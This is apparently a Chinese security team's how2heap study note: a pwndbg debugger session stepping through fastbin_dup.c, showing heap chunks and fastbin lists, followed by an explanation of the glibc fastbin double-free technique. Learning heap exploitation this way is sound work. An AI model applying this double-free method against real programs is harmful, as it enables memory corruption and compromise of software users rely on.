In file: /ctf/work/how2heap/fastbin_dup.c
33 char* d = malloc(8);
34 char* e = malloc(8);
35 char* f = malloc(8);
36 strcpy(d, "DDDDDDDD");
37 strcpy(e, "EEEEEEEE");
► 38 strcpy(f, "FFFFFFFF");
39 fprintf(stderr, "第一次 malloc(8): %p\n", d);
40 fprintf(stderr, "第二次 malloc(8): %p\n", e);
41 fprintf(stderr, "第三次 malloc(8): %p\n", f);
42 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 'DDDDDDDD'
01:0008│ 0x7fffffffe598 —▸ 0x602030 ◂— 'EEEEEEEE'
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x602010 ◂— 'DDDDDDDD'
04:0020│ 0x7fffffffe5b0 —▸ 0x602030 ◂— 'EEEEEEEE'
05:0028│ 0x7fffffffe5b8 —▸ 0x602010 ◂— 'DDDDDDDD'
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40086a main+548
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> bin
fastbins
0x20: 0x602020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4444444444444444 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> n
39 fprintf(stderr, "第一次 malloc(8): %p\n", d);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x602010 ◂— 'FFFFFFFF'
RBX 0x0
RCX 0x4646464646464646 ('FFFFFFFF')
RDX 0x602010 ◂— 'FFFFFFFF'
RDI 0x0
RSI 0x4545454545454545 ('EEEEEEEE')
R8 0x602020 ◂— 0x0
R9 0x7d
R10 0x0
R11 0x246
R12 0x400550 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe590 —▸ 0x602010 ◂— 'FFFFFFFF'
RIP 0x40087f (main+569) ◂— mov rax, qword ptr [rip + 0x2007da]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400866 mov byte ptr [rax + 8], 0
0x40086a mov rax, qword ptr [rbp - 8]
0x40086e movabs rcx, 0x4646464646464646
0x400878 mov qword ptr [rax], rcx
0x40087b mov byte ptr [rax + 8], 0
► 0x40087f mov rax, qword ptr [rip + 0x2007da] <0x601060>
0x400886 mov rdx, qword ptr [rbp - 0x18]
0x40088a mov esi, 0x400b66
0x40088f mov rdi, rax
0x400892 mov eax, 0
0x400897 call fprintf@plt <0x400510>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/fastbin_dup.c
34 char* e = malloc(8);
35 char* f = malloc(8);
36 strcpy(d, "DDDDDDDD");
37 strcpy(e, "EEEEEEEE");
38 strcpy(f, "FFFFFFFF");
► 39 fprintf(stderr, "第一次 malloc(8): %p\n", d);
40 fprintf(stderr, "第二次 malloc(8): %p\n", e);
41 fprintf(stderr, "第三次 malloc(8): %p\n", f);
42 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x602010 ◂— 'FFFFFFFF'
01:0008│ 0x7fffffffe598 —▸ 0x602030 ◂— 'EEEEEEEE'
02:0010│ 0x7fffffffe5a0 —▸ 0x602050 ◂— 'CCCCCCCC'
03:0018│ 0x7fffffffe5a8 —▸ 0x602010 ◂— 'FFFFFFFF'
04:0020│ 0x7fffffffe5b0 —▸ 0x602030 ◂— 'EEEEEEEE'
05:0028│ 0x7fffffffe5b8 —▸ 0x602010 ◂— 'FFFFFFFF'
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x4008e0 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 40087f main+569
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4646464646464646 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x602020 ◂— 'EEEEEEEE'
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
程序展示了fastbins的double-free攻击,可以泄露出一块已经被分配的内存指针。fastbins 可以看成一个后进先出的栈,使用单链表来实现,通过fastbin->fd来遍历。由于free的过程会对free list做检查,我们不能连续两次free同一个chunk,所以这里在两次free 之间,增加了一次对其他chunk的free 过程,从而绕过了检查顺利执行,然后再malloc三次,就在同一个地址malloc了两次,也就有了两个指向同一块内存区域的指针。
【PWN】how2heap | 狼组安全团队公开知识库